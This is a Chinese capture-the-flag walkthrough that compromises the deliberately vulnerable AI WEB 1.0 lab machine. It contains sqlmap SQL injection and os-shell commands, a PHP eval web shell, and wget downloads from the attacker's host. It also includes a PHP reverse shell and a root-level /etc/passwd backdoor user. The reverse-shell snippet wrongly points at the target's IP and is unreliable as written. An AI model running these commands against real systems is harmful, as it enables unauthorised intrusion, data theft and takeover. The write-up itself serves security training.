我们从站点信息收集开始,到漏洞攻击,再通过多方法拿到shell,提权。
我们使用kali进行攻击,靶机是AI WEB 1.0
kali的IP:192.168.109.139(终端窗口输 ifconfig)
WEBAI1.0的IP:未知
站点信息收集
IP 扫描
使用arp-scan扫描
arp-scan -l
//-l (扫描c段)
在这里我们可以分析靶机的IP是192.168.109.141
端口扫描
使用 nmap 扫描
nmap 192.168.109.141 -sT -v -T4
只发现了80端口
目录扫描
先访问一下网页
发现什么也没有
使用 dirsearch 扫描
dirsearch -u http://192.168.109.141/ -i 200
尝试访问 robots.txt 里的内容
访问 /m3diNf0/ 发现不能正常访问
访问 /se3reTdir777/uploads/ ,发现无权限(这里出现了一点小错误,按理说应该是放回页面,等我解决了之后再修改、补充文章,不过放心,不影响后面
接着对 /m3diNf0/ 和 /se3reTdir777/uploads/ 进行扫描
dirsearch -u http://192.168.109.141/m3diNf0/ -i 200
/se3reTdir777/uploads/没发现,在/m3diNf0/发现了info.php,访问info.php
http://192.168.109.141/m3diNf0/info.php
发现是phpinfo的页面
再扫描se3reTdir777
dirsearch什么也没扫出来,换dirb扫描
dirb "http://192.168.109.141/se3reTdir777/"
发现了一个 index.php ,访问它
http://192.168.109.141/se3reTdir777/index.php
发现是一个信息查询的页面,尝试sql注入,输入 1
输入 1’
页面报错,存在sql注入漏洞
漏洞利用
使用 burp 抓包
这是抓到的包,注入点是uid=1%27&Operation=Submit
查询数据库名
使用sqlmap 注入
sqlmap -u "http://192.168.109.141/se3reTdir777/index.php" -data "uid=1%27&Operation=Submit" --dbs
发现了两个数据库:aiweb1 、 information_schema,以及数据库的版本大于5.6的信息
查询数据库下的表
-D 数据库名
sqlmap -u "http://192.168.109.141/se3reTdir777/index.php" -data "uid=1%27&Operation=Submit" -D aiweb1 --tables
得到了两个表名: user 、systemUser ,再通过-T 查询表中的字段名
查询表中的字段名
-T 表名
sqlmap -u "http://192.168.109.141/se3reTdir777/index.php" -data "uid=1%27&Operation=Submit" -D aiweb1 -T user --columns
得到了3个字段 : firstName、 id、 lastName
查询字段中的数据
-C 字段名
sqlmap -u "http://192.168.109.141/se3reTdir777/index.php" -data "uid=1%27&Operation=Submit" -D aiweb1 -T user -C id --dump
没有什么有用信息
--os-shell
level 指定数据库类型为mysql,级别为3
--os-shell执行条件:
- 网站必须是root权限
- 必须知道网站的绝对路径
- secure_file_priv无限制
sqlmap -u "http://192.168.109.141/se3reTdir777/" -data "uid=1&Operation=Submit" --os-shell
这里选4 PHP
这里选2输入绝对路径
已经知道m3diNf0和se3reTdir777 两个目录,然后找绝对目录,返回刚才的info.php页面,按 CTRL + f,搜索 m3diNf0和se3reTdir777 这两个目录,se3reTdir777没发现,m3diNf0 如下图所示
由此可以得到绝对路径是: /home/www/html/web1x443290o2sdf92213/
还记得刚才我们找到一个可以上传文件的页面se3reTdir777/uploads/刚好符合 它的绝对目录为
/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/
上传一句话木马
方法 1
在kali 桌面新建一个 1.php 文件,php 文件写入以下一句话木马(或者在本机写好拖到 kali 桌面也 ok)
<?php @eval($_REQUEST[666]);?>
用 sqlmap 工具写入一句话木马
–file-write:去读取木马文件
–file-dest:后面加要存放文件的地址
sqlmap -u "http://192.168.109.141/se3reTdir777/" --data "uid=1&Operation=Submit" --file-write 1.php --file-dest /home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/1.php
再次进入 os-shell
sqlmap -u "http://192.168.109.141/se3reTdir777/" --data "uid=1&Operation=Submit" --os-shell
查看一句话木马是否写入成功
发现写入成功
方法 2
在 kali 终端输入下面命令, 通过python 快速部署网页
python -m http.server 8888
在 kali 家目录创建一个 2.php 一句话木马
然后访问
http://192.168.109.139:8888/
可以看到 2.php 创建成功了
在 os-shell 使用 wget 下载一句话木马
wget http://192.168.109.139:8888/2.php
ls
发现写入一句话木马成功
蚁剑连接
打开蚁剑
http://192.168.109.141/se3reTdir777/uploads/1.php
可以正常访问
这里蚁剑要拿到他的终端,右击打开终端
nc 反弹连接
在 kali 写一个 php 文件,内容如下(IP 是 kali 的)
<?php
$sock=fsockopen("192.168.109.141",4444);
exec("/bin/bash -i <&3 >&3 2>&3");
?>
到 os-shell 命令行,用 wget 命令下载
wget http://192.168.109.139:8888/3.php
ls
可以看到下载成功了
开启监听
nc -lvvp 4444
再到 os-shell 执行 3.php
php 3.php
然后发现监听成功
提权
查看当前用户
whoami
在 Linux 系统中我们要向手动生成一个密码可以采用opensll passwd来生成一个密码作为用户账号的密码。Linux系统中的密码存放在 /etc/shadow 文件中,并且是以加密的方式存放的,根据加密方式的不同,所产生的加密后的密码的位数也不同。
openssl passwd的作用是用来计算密码hash的,目的是为了防止密码以明文的形式出现。
使用 openssl 创建一个用户
openssl passwd 参数 用户名 密码
-1:表示采用的是MD5加密算法。
-salt:指定salt值,不使用随机产生的salt。在使用加密算法进行加密时,即使密码一样,salt不一样,所计算出来的hash值也不一样,除非密码一样,salt值也一样,计算出来的hash值才一样。salt为8字节的字符串。
openssl passwd -1 -salt h 123456
将用户写入/etc/passwd文件中
echo 'h:$1$h$DcmWd6ffV7pl4.0.1QBQ40:0:0:root:/root:/bin/bash'>>/etc/passwd
查看是否成功写入
cat /etc/passwd
切换用户
用脚本提升为交互式shell,然后切换用户
python -c 'import pty;pty.spawn("/bin/bash")'
su h
cd /
ls
cd root
ls
cat flag.txt
找到了 flag
版权归原作者 燕雀安知鸿鹄之志哉. 所有, 如有侵权,请联系我们删除。